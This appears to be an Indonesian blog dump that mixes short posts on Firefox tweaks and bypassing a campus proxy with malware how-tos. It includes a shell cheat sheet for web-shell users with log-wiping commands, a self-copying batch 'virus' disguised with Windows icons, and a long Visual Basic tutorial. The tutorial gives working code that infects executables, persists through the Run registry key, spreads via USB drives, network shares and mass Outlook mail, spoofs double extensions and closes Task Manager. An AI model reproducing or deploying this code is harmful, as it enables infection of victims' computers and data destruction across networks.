ini adalah beberapa perintah2 linux yg digunakan dlm shell yang jago inject shell, pasti dah pada hafal :P
1. Menampilkan semua IP dalam shell : $ /sbin/ifconfig | grep inet
2. Mematikan proses dalam shell : $ kill -9 (nomor PID)
3. Melihat daftar file dalam direktori : $ ls -la
4. Mencari direktori yang ada permittion : $ find / -type d -perm 777
5. Menjadikan file read only : $ chmod 755
6. Download file : $ wget (website)
7. Download file : $ curl -o (website)
8. Download file : $ lwp-download (website)
9. Memeriksa posisi direktori kita bekerja : $ pwd
10. Masuk ke direktori : $ cd (nama direktori)
11. Menampilkan semua file yg tersembunyi (drwxrwxrwx): $ ls -FRla | grep drwxrwxrwx
12. Mencari isi direktori : $ find . -name [nama direktori] -print
13. Mencari semua ID nobody : $ find / -name *gz* -user nobody
14. Menampilkan proses background : $ ps -x
15. Menampilkan semua proses background : $ ps -ax
16. Mengganti nama file ato direktori : $ mv (nama file/dir yg diganti) (nama file/dir baru)
17. Mencari proses file secara spesifikasi : $ find | grep (nama file)
18. Menghapus history : $ history -c
19. Menghapus logs history : $ rm -f /.bash_history /root/.bash_history /var/log/messages
20. Extract file zip : $ tar -zxvf (nama file)
21. Membuat file zip hanya dengan target file/direktori : $ tar -zcf (nama file zip) (nama target zip)
22. Membuat file zip dengan target seluruh isi direktori : $ tar -zcf (nama file zip) (*)
Selamat Belajar....
Selasa, 19 Agustus 2008
Perintah2 Linux dalam Shell
Bikin Virus Dengan Perintah CMD
Yang perlu dipersiapkan:
1. Software Quick Batch File Compiler (quickbfc.exe)
2. License key atau crack dari quickbfc
3. Pengetahuan akan perintah cmd
4. Software Icon Changer
quickbfc adalah software dari www.abyssmedia.com yang mana software ini bisa digunakan untuk mengcompile (atau apa aja deh namanya) perintah2 cmd menjadi file exe.
Salah satu keistimewaan quickbfc ini adalah kemampuannya untuk menjadikan file exe yang dibuat ketika di run tidak akan menampilkan jendela console. Fitur ini bisa diset dengan memilih project=>option=>ghost application. Hanya saja yang bisa menggunakan fitur ini hanyalah full version (atau bisa juga di crack).
Icon Changer (IC) diperlukan untuk mencari icon seperti icon kepunyaan windows.
IC dapat didownload di http://www.shelllabs.com.
Setelah membuka IC, search icon di folder windows\system32 , disitu akan ada banyak icon yang menarik, seperti icon folder, icon text,dll. Setelah ketemu icon yg diinginkan simpan icon tersebut.
Sekarang kita bahas masalah perintah cmdnya. Salah satu ciri virus yaitu kemampuan menggandakan diri. Seperti kita ketahui jika kita membuat bat file dg isinya “ copy %0 c:\ “ maka akan berakibat file bat tadi dicopikan ke c:\. Tapi ketika kita menggunakan perintah yg sama di quickbfc maka hasilnya tidak seperti itu, dalam artian file exe yang dihasilkan ketika di run tidak akan di copi ke drive c:\. Untuk menyiasati hal ini kita bisa menggunakan cara lain yaitu dengan perintah “for %%a in (*.exe) do if %%~za equ 12345 copy %%a c:\arira.exe “ .
Perintah ini berarti “ untuk setiap file exe dalam direktori ini jika file berukuran 12345 bytes maka copikan file (yg berukuran 12345 bytes tadi ) ke c:\ dg nama arira.exe “. 12345 adalah ukuran file virus hasil kompile dari quickbfc (misalnya) . Permasalahan yg ada adalah jika ada file exe yg ukurannya sama dan berada pada folder yg sama dengan file virus kita.
Ok,selanjutnya buat perintah lainnya.
Kita buat agar kalau virus kita di run akan membuka my documents. Perintahnya “ explorer %userprofile% “.
Terusss, perintah yang ini bisa sedikit menjengkelkan for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d" ,perintah ini berarti “untuk setiap folder, subfolder di drive c copikan file c:\arira.exe di folder kalian dengan nama cinta.exe”. maka setelah perintah ini selesai dieksekusi semua folder dan subfolder di c:\ akan memiliki file cinta.exe.
Dan seterusnya….dan seterusnya pikirkan sendiri perintahnya…..misalkan bikin value di regedit biar si virus bisa hidup lagi setelah computer restart,dll.
Contoh: perintah cmd yang sudah kita buat
REM ini adalah awal dari skrip
for %%a in (*.exe) do if %%~za equ 12345 copy “%%a” c:\arira.exe
explorer %userprofile%
for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d"
REM ini adalah akhir dari skrip
Sebelum dikompile pilih custom resources untuk menset icon dari file yang akan dihasilkan. Kompile skript diatas, kemudian lihat ukuran file exe yang dihasilkan. Misalkan ukuran file yang dihasilkan adalah 82571, maka ganti skript diatas sehingga menjadi
REM ini adalah awal dari skrip
for %%a in (*.exe) do if %%~za equ 82571 copy “%%a” c:\arira.exe
explorer %userprofile%
for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d"
REM ini adalah akhir dari skrip
Kompile ulang, lihat ukuran file yang dihasilkan. Jika ukurannya 82571 bytes maka sudah benar. Jika belum, ulangi sampai angka pada skript sama dengan ukuran file yang dihasilkan.
Keterangan:
Pada contoh perintah diatas “for %%a in (*.exe) do if %%~za equ 82571 copy %%a c:\arira.exe “ tidak bisa digunakan untuk cmd (hanya bisa untuk skript), kalau pingin menggunakan perintah ini dalam cmd makan ganti %%a dengan %a sehingga perintahnya akan menjadi “ for %a in (*.exe) do if %~za equ 82571 copy %a c:\arira.exe “
Biar Si Mozzila Lebih Kuennceeeenggg
Biar Si Mozzila Lebih Cepat
Bagi pengguna Browser Mozilla Firefox ,tips berikut bisa meningkatkan kecepatan Mozzila FireFox anda hingga 25% sampai 40%.
Oke. langsung saja.
1. Buka Mozilla Firefox anda dan ketik "about:config" (tanpa tanda petik) pada address bar dan tekan enter. scroll ing kebawah dan cari entries seperti di bawah ini:
network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests
2. Ubah setting entries di atas seperti di bawah ini , caranya dg men double-klik pada entries atau klik-kiri -enter pada entries :
Set "network.http.pipelining" menjadi "true" (defaultnya false)
Set "network.http.proxy.pipelining" menjadi true
set "network.http.pipelining.maxrequests" menjadi nilai seperti "32". artinya akan membuat 32 request dalam sekali.
3.klik-kanan (dimana saja)-> select New-> Integer. ketik nglayout.initialpaint.delay pada prefence name, kemudia set nilai menjadi "0" (nol).
4.Selesai. boleh juga anda restart komputer anda biar lebih fresh...!!!
Secara default browser Mozilla F akan membuat satu request untuk satu halaman web dalam satu kali . ketika enable pipelining, itu akan membuat beberapa halaman dalam sekali. dan akan mempercepat page loading
Semoga Berguna
Teknik Pembuatan Virus Komputer (with VB)
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.
Menyembunyikan prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature Virus
Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file target
Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature 'baca tSignature
Close fNum
If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)
Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature
If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1
Call VirInstall 'instalasi virus
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & ".exe"
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Menyebarkan dirinya ke Floppy Disk,flas disc diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.
Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub
Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub
Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
wa tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.
Menyebarkan dirinya dengan filename spoofing.
Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.
Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.
Berusaha mempertahankan existensi dirinya
Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"
Maupun melacak jendela proses-proses musuh, dan menutupnya.
Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
NB : inget hanya untuk tujuan pendidikan saja
Jika Koneksi Internet Kepentok Proxy Squid
Hehe.. copas dari http://dhimas.web.id/ thanx bro ya..
Suatu saat Anda maen ke kampus teman, nyalakan leptob, kemudian jreng-jreng.. Anda ndak bisa berselancar di dunia lain meskipun di system tray gambar Wireless LAN sudah menandakan connected. Jika kejadiannya seperti itu Anda harus menanyakan proxy squid kampus itu kepada teman anda yang kuliah di kampus itu kemudian di port berapa lalu username dan password untuk authentication nya apa.. Nha itu kalau Anda punya teman di kampus itu. Jika Anda ndak punya tapi tetep nekat ingin berselancar? Oke lah kalau begitu… Karena keinginan Anda memang sangat kuat.. Saya punya ide agar tetap bisa berselancar tanpa proxy squid.
Caranya Anda bisa pakai Ultrasurf yang bisa Anda download di sini. Penggunaanya software tergolong mudah. Anda tinggal jalankan program tersebut, kemudian blowsing lewat IE. Kalau Anda benci sama IE anda bisa pakai Browser kesayangan anda, lalu pasang proxy dengan IP 127.0.0.1 dan port 9666. Udah deh.. Browsing sepuasnya.. Hal ini sering penulis terapkan saat penulis sedang di Jogja dan ngenet di UGM.. Memang ada hotspot yang tanpa Proxy alias bener-bener free untuk publik.. Tapi penulis ndak mau rebutan sama pengguna lain.. Bandwidth sudah pasti rebutan tuh kalau begitu caranya.. Mending cari yang harus pakai proxy tapi sepi.. Ngenet deh sepuasnya..